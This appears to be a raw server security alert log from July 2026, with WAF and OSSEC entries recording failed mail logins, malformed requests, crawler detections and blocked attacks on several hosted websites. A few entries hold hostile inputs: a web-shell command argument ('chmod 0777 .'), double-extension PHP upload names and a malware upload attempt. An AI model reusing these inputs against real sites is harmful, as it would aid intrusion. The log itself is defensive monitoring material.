rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 73.74.158.15
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/602528007 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 5.78.219.158
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/130.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 76.37.169.156
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/612362280 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.90.128.97
country_id: 6252001
description:
2026-07-20 12:47:25 dovecot_login authenticator failed for H=(134396.ip-ptr.tech) [172.90.128.97]:57896: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.48.46.95
country_id: 3017382
description:
2026-07-20 12:47:36 dovecot_login authenticator failed for H=([70.166.167.49]) [5.48.46.95]:58178: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.189.17.14
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a33050618 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-20 12:50:35 dovecot_login authenticator failed for H=([183.63.220.210]) [78.187.9.111]:52490: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.117.49.44
country_id: 6252001
description:
2026-07-20 12:50:53 dovecot_login authenticator failed for H=24-117-49-44.cpe.sparklight.net (corporate.static.gvt.net.br) [24.117.49.44]:49285: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-20 12:51:28 dovecot_login authenticator failed for H=([220.87.56.84]) [211.105.229.237]:45078: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-20 12:51:48 dovecot_login authenticator failed for H=(mail.cartvelly.com) [119.92.76.210]:46988: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 117.211.35.25
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a8843955 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.220.234.72
country_id: 2077456
description:
2026-07-20 12:53:55 dovecot_login authenticator failed for H=([192.111.139.161]) [203.220.234.72]:37368: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-07-20 12:54:07 dovecot_login authenticator failed for H=(111-70-17-73.emome-ip.hinet.net) [62.220.236.203]:51954: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.177.12.54
country_id: 1269750
description:
2026-07-20 12:55:58 dovecot_login authenticator failed for H=([174.64.199.81]) [59.177.12.54]:57359: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-20 12:56:08 dovecot_login authenticator failed for H=([122.179.138.80]) [50.212.27.150]:45938: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-20 12:57:25 dovecot_login authenticator failed for H=([94.16.17.140]) [121.131.220.152]:48596: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.133
country_id: 1835841
description:
2026-07-20 12:57:47 dovecot_login authenticator failed for H=([197.219.228.242]) [121.131.220.133]:34725: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.131.215.90
country_id: 1269750
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/z9x8c7v6b5-debug-trigger-fefkadirectorsunion.com||User:fefkadirectors||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.183
country_id: 1269750
description:
2026-07-20 13:00:57 dovecot_login authenticator failed for H=([213.186.233.10]) [122.187.230.183]:47896: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.135.172
country_id: 1819730
description:
2026-07-20 13:02:04 dovecot_login authenticator failed for H=([85.227.82.3]) [121.202.135.172]:27655: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.92.51.186
country_id: 1269750
description:
2026-07-20 13:01:51 dovecot_login authenticator failed for H=(118-210-4-194.tpgi.com.au) [59.92.51.186]:37861: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.211.127.19
country_id: 1835841
description:
2026-07-20 13:01:59 dovecot_login authenticator failed for H=([111.26.62.46]) [211.211.127.19]:48151: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.245.138.2
country_id: 1269750
description:
2026-07-20 13:02:29 dovecot_login authenticator failed for H=([223.86.148.242]) [117.245.138.2]:47880: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.127.25.202
country_id: 6252001
description:
2026-07-20 13:05:48 dovecot_login authenticator failed for H=([76.49.199.97]) [20.127.25.202]:55494: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.24.210.58
country_id: 6252001
description:
2026-07-20 13:06:14 dovecot_login authenticator failed for H=72-24-210-58.cpe.sparklight.net (65-181-79-060.static.imsbiz.com) [72.24.210.58]:55098: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 20 13:06:22 vps sshd[2525494]: error: kex_exchange_identification: read: Connection reset by peer


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.23.3.146
country_id: 1835841
description:
2026-07-20 13:07:52 dovecot_login authenticator failed for H=([70.166.167.49]) [59.23.3.146]:35658: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-07-20 13:08:28 dovecot_plain authenticator failed for H=(hyter) [24.187.213.29]:59270: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.234.239.46
country_id: 6252001
description:
2026-07-20 13:10:29 dovecot_login authenticator failed for H=wsip-24-234-239-46.lv.lv.cox.net ([142.54.229.253]) [24.234.239.46]:35100: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-20 13:11:00 dovecot_login authenticator failed for H=(pool.giga.net.ru) [103.67.152.201]:39856: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 71.204.68.205
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d11032975 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.216.6.17
country_id: 2077456
description:
2026-07-20 13:13:39 dovecot_login authenticator failed for H=139-216-6-17.sta.dodo.net.au (host-46-241-107-63.bbcustomer.zsttk.net) [139.216.6.17]:50052: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.246.85.53
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f2491571 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 102.32.117.196
country_id: 953987
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:21610.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e336100b88ecdc4bbc262aa40aed06768ed0f5fa||Title:b6ssdntvll7rq7v||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.59.218.211
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/113017933 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-20 13:21:03 dovecot_login authenticator failed for H=([178.74.110.94]) [125.23.228.86]:41726: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.144.24.198
country_id: 3017382
description:
2026-07-20 13:21:24 dovecot_login authenticator failed for H=([72.206.74.97]) [185.144.24.198]:53557: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 97.201.199.63
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/203515935 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.59.182.213
country_id: 298795
description:
2026-07-20 13:24:42 dovecot_login authenticator failed for H=([70.166.167.49]) [188.59.182.213]:43156: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.165.29.196
country_id: 1733045
description:
2026-07-20 13:24:25 dovecot_login authenticator failed for H=([194.103.82.72]) [202.165.29.196]:40561: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 16.79.112.1
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceken6g88j.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.19.18.97
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4b3529084 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.213.175.37
country_id: 2510769
domain: futuracare.com.au
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:185.213.175.37||TA:185.213.175.37||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.211.7.162
country_id: 2215636
description:
2026-07-20 13:29:22 dovecot_login authenticator failed for H=([27.24.141.154]) [102.211.7.162]:38310: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-20 13:29:44 dovecot_login authenticator failed for H=(179-189-85-66.goldnettelecom.com.br) [102.210.148.41]:54416: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.91.83
country_id: 1269750
description:
2026-07-20 13:33:27 dovecot_login authenticator failed for H=(vm-creative-db01.madavor.cl.zerolag.com) [103.130.91.83]:58508: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-20 13:33:35 dovecot_login authenticator failed for H=(191.34.253.17.dynamic.adsl.gvt.net.br) [182.78.112.174]:43740: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77316832
name: IM360 WAF: Suspicious Joomla plugin installation attempt
abuser: 2401:4900:8fdd:80b0:8588:f400:b5ad:1a7e
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Suspicious Joomla plugin installation attempt||File:plg_visforms_visformsapprovalstatus-1.0.0.zip||RSV:8.32||T:APACHE||Install directory:/home/futuracarecom/tmp||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 35.136.17.143
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c92208137 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.134.30
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvac-ductwork-airflow-deforest-wi.zzz-1.com/\">website</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-20 13:51:36 dovecot_login authenticator failed for H=([213.176.122.32]) [196.188.93.169]:2300: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.219.86.171
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.82.135
country_id: 798544
description:
2026-07-20 13:53:36 dovecot_login authenticator failed for H=([59.20.150.99]) [185.15.82.135]:52664: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.231.243.28
country_id: 6252001
description:
2026-07-20 13:53:59 dovecot_login authenticator failed for H=([72.37.216.65]) [50.231.243.28]:59768: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-20 13:55:52 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [94.16.17.141]:48286: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 163.227.87.127
country_id: 1694008
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:96617.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8ceaba5c734090152b617206ac9c9eacd85b31fe||Title:0xc68cc12d||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-07-20 13:56:16 dovecot_login authenticator failed for H=([185.138.167.146]) [103.147.248.23]:35692: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.21.243.7
country_id: 1668284
description:
2026-07-20 13:57:19 dovecot_login authenticator failed for H=211-21-243-7.hinet-ip.hinet.net (static.ill.117.251.22.198.bsnl.co.in) [211.21.243.7]:47776: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-20 13:57:34 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it ([186.179.80.12]) [37.207.215.2]:8905: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.166.101.94
country_id: 1282988
domain: fefkadirectorsunion.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fefkadirectorsunion.com/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.104.222.189
country_id: 1835841
description:
2026-07-20 14:01:20 dovecot_login authenticator failed for H=(069.138.48.116.static.netvigator.com) [210.104.222.189]:35788: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-20 14:01:38 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it (ol182-153.fibertel.com.ar) [37.207.215.2]:11415: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 20 14:04:50 vps sshd[2535322]: error: kex_exchange_identification: read: Connection reset by peer


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 73.201.4.156
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/061647618 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350689
name: IM360 WAF: PHP execution blocked in AcyMailing thumbnails folder
abuser: 185.155.97.58
country_id: 453733
domain: ibmcglobal.com
description:
IM360 WAF: PHP execution blocked in AcyMailing thumbnails folder||MV:/media/com_acym/images/thumbnails/thumbnail_429.png?.php||SC:/home/ibmcglobal/public_html/media/com_acym||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-20 14:11:29 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([72.206.74.97]) [155.4.31.215]:42426: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-20 14:15:24 dovecot_login authenticator failed for H=([193.228.164.236]) [206.62.136.109]:48698: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-20 14:15:39 dovecot_login authenticator failed for H=(syn-066-068-187-218.res.spectrum.com) [182.95.181.166]:59032: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.197.130
country_id: 1269750
description:
2026-07-20 14:17:51 dovecot_login authenticator failed for H=([49.124.146.37]) [152.52.197.130]:34870: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.104.218
country_id: 2077456
description:
2026-07-20 14:18:10 dovecot_login authenticator failed for H=114-30-104-218.tpgi.com.au (adsl.viettel.vn) [114.30.104.218]:56068: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.156.26.25
country_id: 1282988
description:
2026-07-20 14:20:04 dovecot_login authenticator failed for H=([49.124.149.53]) [103.156.26.25]:32784: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 66.41.7.10
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/22619093 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-20 14:20:16 dovecot_login authenticator failed for H=([49.124.155.180]) [103.187.78.189]:42934: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-20 14:21:40 dovecot_login authenticator failed for H=(119.92.76.213.static.pldt.net) [112.161.26.125]:46696: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.158
country_id: 1269750
description:
2026-07-20 14:22:00 dovecot_login authenticator failed for H=([121.131.220.168]) [182.78.112.158]:45568: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.229.94
country_id: 1269750
description:
2026-07-20 14:22:00 dovecot_login authenticator failed for H=(static-158.128.194.14-tataidc.co.in) [152.52.229.94]:51048: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
2026-07-20 14:22:05 dovecot_login authenticator failed for H=(static.ill.117.251.22.198.bsnl.co.in) [210.123.87.143]:35844: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.74.104.233
country_id: 1562822
description:
2026-07-20 14:22:20 dovecot_login authenticator failed for H=([213.230.64.246]) [115.74.104.233]:40224: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.85.44.247
country_id: 6252001
description:
2026-07-20 14:22:27 dovecot_plain authenticator failed for H=(bastrosess) [73.85.44.247]:40476: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.59.10.205
country_id: 1668284
description:
2026-07-20 14:22:36 dovecot_login authenticator failed for H=116-59-10-205.emome-ip.hinet.net (213-65-190-48-no2550.tbcn.telia.com) [116.59.10.205]:42766: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 70.40.112.226
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/322422524 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-20 14:24:59 dovecot_login authenticator failed for H=(187.58.64.145.static.host.gvt.net.br) [211.105.229.237]:50648: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.153.3.166
country_id: 6252001
description:
2026-07-20 14:26:08 dovecot_plain authenticator failed for H=c-73-153-3-166.hsd1.co.comcast.net (lograpis) [73.153.3.166]:41756: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.208.240.52
country_id: 2077456
description:
2026-07-20 14:27:31 dovecot_login authenticator failed for H=([182.95.176.122]) [118.208.240.52]:59134: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-20 14:27:43 dovecot_login authenticator failed for H=([72.206.74.97]) [110.227.211.82]:38860: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL track known shells
abuser: 194.102.104.219
country_id: 617790
domain: keralapeople.com
description:
IM360 WAF: RBL track known shells||MVN:ARGS:p1||WPU:||RSV:8.32||T:APACHE||MV:chmod 0777 .||SC:/home/keralapeople/public_html/admin.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.17.12.212
country_id: 1269750
description:
2026-07-20 14:38:17 dovecot_plain authenticator failed for H=(ourgrox) [103.17.12.212]:57815: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.134.97
country_id: 99237
description:
2026-07-20 14:39:49 dovecot_login authenticator failed for H=([119.146.91.181]) [65.20.134.97]:43678: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.162.3.197
country_id: 1835841
description:
2026-07-20 14:40:04 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [221.162.3.197]:48072: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-20 14:41:01 dovecot_login authenticator failed for H=(wsip-72-211-57-196.lv.lv.cox.net) [182.95.102.190]:35432: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-20 14:42:03 dovecot_login authenticator failed for H=(c-73-203-17-220.hsd1.co.comcast.net) [128.134.83.141]:48320: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 135.125.199.17
country_id: 3017382
description:
2026-07-20 14:42:09 dovecot_login authenticator failed for H=vps-36f1e8f3.vps.ovh.net (vm-creative-db01.madavor.cl.zerolag.com) [135.125.199.17]:60318: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.254.119.147
country_id: 1269750
description:
2026-07-20 14:41:36 dovecot_login authenticator failed for H=(221-120-1-3.emome-ip.hinet.net) [117.254.119.147]:50056: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.56.64.160
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/922394471 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.128.84.224
country_id: 1835841
description:
2026-07-20 14:43:30 dovecot_login authenticator failed for H=([176.197.148.58]) [121.128.84.224]:52672: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.251.0.147
country_id: 390903
description:
2026-07-20 14:43:59 dovecot_login authenticator failed for H=([211.217.26.2]) [212.251.0.147]:38414: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.192.201.106
country_id: 2661886
description:
2026-07-20 14:45:57 dovecot_login authenticator failed for H=h31-192-201-106.cust.bredband2.com ([218.21.243.58]) [31.192.201.106]:47254: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 73.43.141.103
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/951607614 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.14.31.10
country_id: 2921044
description:
2026-07-20 14:49:23 dovecot_login authenticator failed for H=(static82.banetele-cust.com) [154.14.31.10]:46540: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.52.104.197
country_id: 6251999
description:
2026-07-20 14:51:15 dovecot_plain authenticator failed for H=(solople) [170.52.104.197]:60712: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.33.119.34
country_id: 1835841
description:
2026-07-20 14:52:45 dovecot_login authenticator failed for H=([72.37.216.65]) [118.33.119.34]:35382: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.53.55.252
country_id: 1605651
description:
2026-07-20 14:52:30 dovecot_login authenticator failed for H=([61.177.36.109]) [182.53.55.252]:37788: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 156.226.23.157
country_id: 241170
domain: keralapeople.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:133248||Sizes:6347||Combined size:6347||User:keralapeople||WPU:||Filename:filefuns.php||Scanned:/tmp//20260720-145819-al3qMy6mdIqvZmT11xvY_QAAAEQ-file-oM1NWS||SC:/home/keralapeople/public_html/admin.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
